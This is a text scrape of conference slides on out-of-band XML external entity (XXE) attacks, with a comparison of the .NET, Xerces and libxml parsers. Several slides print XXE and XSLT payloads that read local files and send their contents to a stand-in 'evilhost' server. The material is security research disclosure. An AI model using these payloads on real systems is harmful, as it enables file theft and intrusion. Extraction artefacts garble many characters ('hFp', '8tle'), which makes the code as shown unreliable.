XML Out-Of-Band Data Retrieval Timur Yunusov Alexey - - PowerPoint PPT Presentation

xml out of band data retrieval
SMART_READER_LITE
LIVE PREVIEW

XML Out-Of-Band Data Retrieval Timur Yunusov Alexey - - PowerPoint PPT Presentation

XML Out-Of-Band Data Retrieval Timur Yunusov Alexey Osipov Who we are Timur Yunusov: Web Applica8on Security Researcher Interna8onal forum on


slide-1
SLIDE 1

Timur ¡Yunusov ¡ Alexey ¡Osipov ¡

XML ¡Out-­‑Of-­‑Band ¡Data ¡Retrieval ¡

slide-2
SLIDE 2
  • Timur ¡Yunusov: ¡

– Web ¡Applica8on ¡Security ¡Researcher ¡ – Interna8onal ¡forum ¡on ¡prac8cal ¡security ¡«Posi8ve ¡ Hack ¡Days» ¡developer ¡

  • Alexey ¡Osipov: ¡

– AFack ¡preven8on ¡mechanisms ¡Researcher ¡ – Security ¡tools ¡and ¡Proof ¡of ¡Concepts ¡developer ¡

  • SCADA ¡StrangeLove ¡team ¡members ¡

Who ¡we ¡are ¡

slide-3
SLIDE 3
  • XML ¡Overview ¡
  • XML ¡eXternal ¡En88es ¡
  • En88es ¡in ¡aFributes ¡
  • Out-­‑Of-­‑Band ¡aFack ¡

– DTD ¡ – XSLT ¡

  • Summary ¡
  • Demos ¡
  • Ques8ons ¡

Agenda ¡

slide-4
SLIDE 4

XML ¡OVERVIEW ¡

slide-5
SLIDE 5
  • Very ¡popular ¡protocol ¡lately ¡

– Serializa8on ¡ – SOA-­‑architecture ¡(REST, ¡SOAP, ¡OAuth) ¡ – Human-­‑readable ¡(at ¡least ¡intended ¡to ¡be) ¡

  • Many ¡parsers/many ¡op8ons ¡controlling ¡

behavior ¡(over ¡9000) ¡ ¡

  • Many ¡xml-­‑extensions ¡like ¡XSLT, ¡SOAP, ¡XML ¡

schema ¡ ¡

XML ¡overview ¡

slide-6
SLIDE 6
  • Many ¡opportuni8es ¡lead ¡to ¡many ¡

vulnerabili8es: ¡

– Adobe ¡(@agarri_fr, ¡spasibo) ¡ – PostgreSQL ¡(@d0znpp), ¡PHP, ¡Java ¡

  • Many ¡hackers ¡techniques ¡

XML ¡overview ¡

slide-7
SLIDE 7

XML ¡EXTERNAL ¡ENTITY ¡

slide-8
SLIDE 8
  • En88es: ¡

– Predefined ¡ ¡&amp; ¡&lt; ¡&#37; ¡ – General ¡ ¡<!ENTITY ¡general ¡“hello”> ¡ – Parameter ¡ ¡<!ENTITY ¡% ¡param ¡“hello”> ¡

  • General ¡and ¡parameter ¡en88es ¡may ¡be: ¡

– Internal ¡(defined ¡in ¡current ¡DTD) ¡ – External ¡(defined ¡in ¡external ¡resource) ¡

XML ¡enAAes ¡

slide-9
SLIDE 9
  • Local ¡file ¡reading ¡
  • Intranet ¡access ¡
  • Host-­‑scan/Port-­‑scan ¡
  • Remote ¡Code ¡Execu8on ¡(not ¡so ¡o_en) ¡
  • Denial ¡of ¡Service ¡

XXE ¡impact ¡

slide-10
SLIDE 10
  • XML ¡data ¡output ¡(basic) ¡
  • Error-­‑based ¡XXE ¡

– DTD ¡(invalid/values ¡type ¡defini8on) ¡ – Schema ¡valida8on ¡

  • Blind ¡techniques ¡ ¡

– XSD ¡values ¡bruteforce ¡(@d0znpp) ¡

XXE ¡techniques ¡

slide-11
SLIDE 11
  • Schema ¡valida8on ¡In ¡Xerces ¡

parser ¡error ¡: ¡Invalid ¡URI: ¡:[file] ¡ I/O ¡warning ¡: ¡failed ¡to ¡load ¡external ¡en8ty"[file]“ ¡ parser ¡error ¡: ¡DOCTYPE ¡improperly ¡terminated ¡ Warning: ¡*** ¡[file] ¡in ¡*** ¡on ¡line ¡11 ¡ <!DOCTYPE ¡html[ ¡ <!ENTITY ¡% ¡foo ¡SYSTEM ¡"file:///c:/boot.ini"> ¡ %foo;]> ¡

Error ¡based ¡output ¡

slide-12
SLIDE 12
  • XML ¡validity/well-­‑formedness ¡

– WFC: ¡No ¡External ¡En8ty ¡References ¡… ¡in ¡aBributes ¡ – WFC: ¡No ¡< ¡in ¡AFribute ¡Values ¡ – WFC: ¡PEs ¡in ¡Internal ¡Subset ¡

XML ¡constraints ¡

slide-13
SLIDE 13

<?xml ¡version="1.0" ¡encoding="uq-­‑8"?> ¡ <!DOCTYPE ¡html ¡[ ¡ <!ENTITY ¡% ¡internal ¡SYSTEM ¡"local_file.xml"> ¡ %internal;]> ¡

<html>&8tle;</html> ¡

Parameter ¡enAAes ¡ resolve/validaAon ¡algorithm ¡

local_file.xml: ¡ <!ENTITY ¡8tle ¡"Hello, ¡World!"> ¡ <!ENTITY ¡8tle ¡"Hello, ¡World!"> ¡]> ¡

slide-14
SLIDE 14
  • XML ¡parser ¡reads ¡only ¡valid ¡xml ¡documents ¡

– No ¡binary ¡=( ¡ ¡ ¡ ¡ ¡ (hFp://www.w3.org/TR/REC-­‑xml/#CharClasses) ¡ ¡ – Malformed ¡first ¡string ¡(no ¡encoding ¡aFribute) ¡ (Some ¡parsers) ¡ – But ¡we ¡have ¡wrappers! ¡

  • Resul8ng ¡document ¡should ¡also ¡be ¡valid ¡

– No ¡external ¡en88es ¡in ¡aFributes ¡

XXE ¡aJacks ¡restricAons ¡

slide-15
SLIDE 15

ENTITIES ¡IN ¡ATTRIBUTES ¡

slide-16
SLIDE 16

Well-­‑formed ¡constraint: ¡ ¡

– No ¡External ¡En8ty ¡References ¡

  • So, ¡this ¡is ¡not ¡possible, ¡right? ¡

<!DOCTYPE ¡root[ ¡ ¡<ENTITY ¡internal ¡SYSTEM ¡"file:///etc/passwd"> ¡ ]> ¡ <root ¡aFrib="&internal;“/> ¡

¡

System ¡enAAes ¡restricAons ¡ ¡bypass ¡within ¡aJributes ¡

slide-17
SLIDE 17

<?xml ¡version="1.0" ¡encoding="uq-­‑8"?> ¡ <!DOCTYPE ¡root ¡[ ¡ <!ENTITY ¡% ¡remote ¡SYSTEM ¡"hFp://evilhost/evil.xml"> ¡ %remote; ¡ %param1; ¡]> ¡ <root ¡aFrib="&internal;" ¡/> ¡

System ¡enAAes ¡restricAons ¡ ¡bypass ¡within ¡aJributes ¡

<!ENTITY ¡% ¡payload ¡SYSTEM ¡"file:///c:/boot.ini"> ¡ <!ENTITY ¡% ¡param1 ¡"<!ENTITY ¡internal ¡'%payload;'>"> ¡

Evil.xml ¡

<!ENTITY ¡internal ¡'[boot ¡loader] ¡8meout ¡***'> ¡

slide-18
SLIDE 18

¡ ¡ ¡ ¡<xs:restric8on ¡base="xs:string"> ¡ ¡ ¡ ¡ ¡ ¡ ¡<xs:paFern ¡value="&test;" ¡/> ¡ ¡ ¡ ¡ ¡</xs:restric8on> ¡

PaJern ¡validaAon ¡

slide-19
SLIDE 19

DEMO ¡

slide-20
SLIDE 20

OUT-­‑OF-­‑BAND ¡ATTACK ¡

slide-21
SLIDE 21

Server-­‑side ¡in ¡general ¡(except ¡Adobe ¡XXE ¡SOP ¡ bypass) ¡

XXE ¡aJacks ¡restricAons ¡

slide-22
SLIDE 22

XXE ¡OOB ¡

slide-23
SLIDE 23

What ¡other ¡OOB ¡communica8on ¡techniques ¡are ¡ present? ¡ ¡ DNS ¡exfiltra8on ¡via ¡SQL ¡Injec8on ¡(@stamparm) ¡ ¡

XXE ¡OOB ¡

UTL_HTTP.REQUEST ¡ xp_fileexist ¡ Dblink ¡ LOAD_FILE ¡

slide-24
SLIDE 24

XXE ¡OOB ¡

<!DOCTYPE ¡root ¡SYSTEM ¡ “hBp://evilhost/xml.xml”> ¡ <root> ¡ ¡ ¡ ¡&trick; ¡ </root> ¡

<?xml ¡version="1.0" ¡encoding="uq-­‑8"?> ¡ <!DOCTYPE ¡root ¡[ ¡ <!ENTITY ¡% ¡remote ¡SYSTEM ¡"hFp://evilhost/evil.xml"> ¡ %remote; ¡ %int; ¡ %trick;]> ¡

<!ENTITY ¡% ¡payl ¡SYSTEM ¡"file:///c:/boot.ini"> ¡

Evil.xml ¡

<!ENTITY ¡&#37; ¡trick ¡SYSTEM ¡'hFp://evil/?%payl;'> ¡ <!ENTITY ¡% ¡int ¡" ¡ "> ¡

<!ENTITY ¡% ¡trick ¡SYSTEM ¡'hFp://evil/?%5Bboot%20'> ¡

slide-25
SLIDE 25

XXE ¡OOB ¡

AFacker ¡ Server ¡ XML ¡ DTD ¡Parsing, ¡ SYSTEM ¡reading ¡

PROFIT! ¡

slide-26
SLIDE 26
  • Beside ¡restric8ons ¡of ¡all ¡en88es ¡there ¡are ¡also ¡

new ¡ones ¡

  • “PEReferences ¡forbidden ¡in ¡internal ¡

subset” ¡(c) ¡XML ¡Specifica8on ¡

– So ¡we ¡should ¡be ¡able ¡to ¡read ¡some ¡external ¡ resource ¡(local ¡or ¡remote) ¡ – Wrappers ¡

Parsing ¡restricAons ¡

slide-27
SLIDE 27
  • Quotes ¡are ¡blocking ¡defini8on ¡of ¡en88es ¡

– One ¡should ¡try ¡single/double ¡quotes ¡when ¡ defining ¡en8ty ¡ ¡

<!ENTITY ¡% ¡int ¡"<!ENTITY ¡&#37; ¡trick ¡‘[file ¡ content’]’>" ¡

  • Space/new ¡line/other ¡whitespace ¡symbols ¡

should ¡not ¡appear ¡in ¡URI ¡

– Wrappers ¡again ¡=) ¡ – Or ¡not ¡even ¡needed ¡

Parsing ¡restricAons ¡

slide-28
SLIDE 28
  • Depending ¡on ¡parser ¡features ¡– ¡lack ¡of ¡DTD ¡

valida8on ¡in ¡main ¡document ¡doesn’t ¡mean ¡ lack ¡of ¡valida8on ¡everywhere. ¡Some ¡possible ¡ clues: ¡

– External ¡DTD ¡or ¡Internal ¡DTD ¡subset ¡from ¡external ¡ data ¡ – Parameter ¡en88es ¡only ¡ – XSD ¡Schema ¡ – XSLT ¡template ¡

Vectors ¡

slide-29
SLIDE 29
  • <!DOCTYPE ¡root ¡SYSTEM ¡“…”> ¡
  • <!ENTITY ¡external ¡PUBLIC ¡“some_text” ¡“…”> ¡
  • <tag ¡xsi:schemaLoca8on=“…”/> ¡ ¡
  • <tag ¡xsi:noNamespaceSchemaLoca8on=“…”/> ¡ ¡
  • <xs:include ¡schemaLoca8on=“…”> ¡
  • <xs:import ¡schemaLoca8on=“…”> ¡
  • <?xml-­‑stylesheet ¡href=“…”?> ¡

Vectors ¡

slide-30
SLIDE 30

XSLT ¡OUT-­‑OF-­‑BAND ¡

slide-31
SLIDE 31
  • Controlling ¡XSLT ¡transforma8on ¡template ¡we ¡

can ¡access ¡some ¡data ¡from ¡sensi8ve ¡host: ¡

XSLT ¡OOB ¡

<xsl:variable ¡name="payload" ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡select="document('hBp://sensiXve_host/',/)"/> ¡ <xsl:variable ¡name="combine" ¡ ¡ ¡ ¡ ¡ ¡select="concat('hBp://evilhost/', ¡$payload)"/> ¡ <xsl:variable ¡name="result" ¡ ¡ ¡ ¡ ¡ ¡select="document($combine)" ¡/> ¡

slide-32
SLIDE 32
  • Depending ¡on ¡available ¡features ¡we ¡can: ¡

– Get ¡non-­‑xml ¡data ¡using ¡“unparsed-­‑text” ¡func8on ¡ – Enumerate ¡services/hosts ¡with ¡“*-­‑available” ¡ func8ons ¡ – With ¡substring() ¡we ¡can ¡cra_ ¡such ¡DNS ¡hostname, ¡ that ¡will ¡let ¡us ¡obtain ¡some ¡sensi8ve ¡data ¡via ¡ malicious ¡DNS ¡request ¡to ¡our ¡server ¡

XSLT ¡OOB ¡

slide-33
SLIDE 33

DEMO ¡

slide-34
SLIDE 34

Vectors ¡

XML ¡

WAT ¡R ¡U ¡ DOIN? ¡

XML ¡

STAHP! ¡

slide-35
SLIDE 35

SUMMARY ¡

slide-36
SLIDE 36
  • Server-­‑side ¡

– Send ¡file ¡content ¡over ¡DNS/HTTP/HTTPs/Smb? ¡ – Without ¡error/data ¡output ¡

  • Client-­‑side ¡products ¡

– Nobody ¡has ¡ever ¡tried ¡to ¡hack ¡oneself ¡;) ¡ – Lots ¡of ¡products… ¡

XXE ¡OOB ¡Profit ¡

slide-37
SLIDE 37
  • Pros: ¡

– URL-­‑encodes ¡query ¡string ¡for ¡OOB ¡technique ¡ – Saves ¡all ¡line ¡feeds ¡in ¡aFributes ¡

  • Cons: ¡

– Can’t ¡read ¡XML ¡files ¡without ¡encoding ¡declara8on ¡ (we ¡can ¡s8ll ¡read ¡Web.config ¡.NET) ¡ – No ¡wrappers ¡(except ¡system-­‑wide) ¡

Parsers ¡diff ¡– ¡MS ¡with ¡System.XML ¡

slide-38
SLIDE 38
  • Pros: ¡

– Can ¡read ¡directories! ¡ – Sends ¡NTLM ¡auth ¡data ¡ ¡ – Different ¡wrappers ¡

  • Cons: ¡

– Converts ¡line ¡feeds ¡to ¡spaces ¡when ¡inser8ng ¡in ¡ aFribute ¡ – Can’t ¡read ¡mul8line ¡files ¡with ¡OOB ¡technique ¡

Parsers ¡diff ¡– ¡ ¡Java ¡Xerces ¡

slide-39
SLIDE 39
  • Pros ¡

– Wrappers! ¡(expect://, ¡data://) ¡ (hFp://www.slideshare.net/phdays/on-­‑secure-­‑ applica8on-­‑of-­‑php-­‑wrappers) ¡ – Most ¡liberal ¡parsing ¡??? ¡

  • Cons ¡

– Can’t ¡read ¡big ¡files ¡by ¡default ¡(>8Kb) ¡

Parsers ¡diff ¡– ¡libxml ¡(PHP) ¡

slide-40
SLIDE 40

MS ¡System.XML ¡ Java ¡Xerces ¡ Libxml ¡(PHP) ¡ External ¡en8ty ¡in ¡ aFribute ¡value ¡

+ ¡

Line ¡feeds ¡are ¡ converted ¡to ¡spaces ¡

+ ¡

OOB ¡ ¡ read ¡mul8line ¡

+ ¡ – ¡ ¡ + ¡

OOB ¡ ¡ read ¡big ¡files ¡

+ ¡ + ¡

Op8on ¡is ¡o_en ¡ enabled ¡ Directory ¡lis8ng ¡

– ¡ ¡ + ¡ – ¡ ¡

Valida8ng ¡schema ¡ loca8on ¡ ¡

– ¡ ¡ + ¡ – ¡ ¡

Parsers ¡diff ¡

slide-41
SLIDE 41

DEMO ¡

slide-42
SLIDE 42

XXE ¡OOB ¡Exploita8on ¡Toolset ¡for ¡Automa8on ¡

  • DNS ¡knocking ¡
  • Vectors ¡set ¡
  • HTTP ¡Server ¡

Tools ¡

slide-43
SLIDE 43

Metasploit ¡module ¡(special ¡thnx2 ¡@vegoshin) ¡

  • Vector ¡set ¡and ¡HTTP ¡server ¡provided ¡to ¡you ¡in ¡

your ¡MSF ¡;-­‑) ¡

Tools ¡

slide-44
SLIDE 44

DEMO ¡

slide-45
SLIDE 45
  • General ¡ruina8on? ¡;-­‑) ¡ ¡
  • Toolset ¡
  • New ¡ideas ¡for ¡new ¡vectors ¡and ¡

applica8ons ¡

Conclusions ¡

slide-46
SLIDE 46
  • Arseniy ¡Reutov ¡
  • Ilya ¡Karpov ¡
  • Mihail ¡Firstov ¡
  • Sergey ¡Pavlov ¡
  • Vyacheslav ¡Egoshin ¡

Special ¡greetz ¡

slide-47
SLIDE 47

www.scadastrangelove.org ¡ @Gi_sUngiven ¡ @a66at ¡

QuesAons? ¡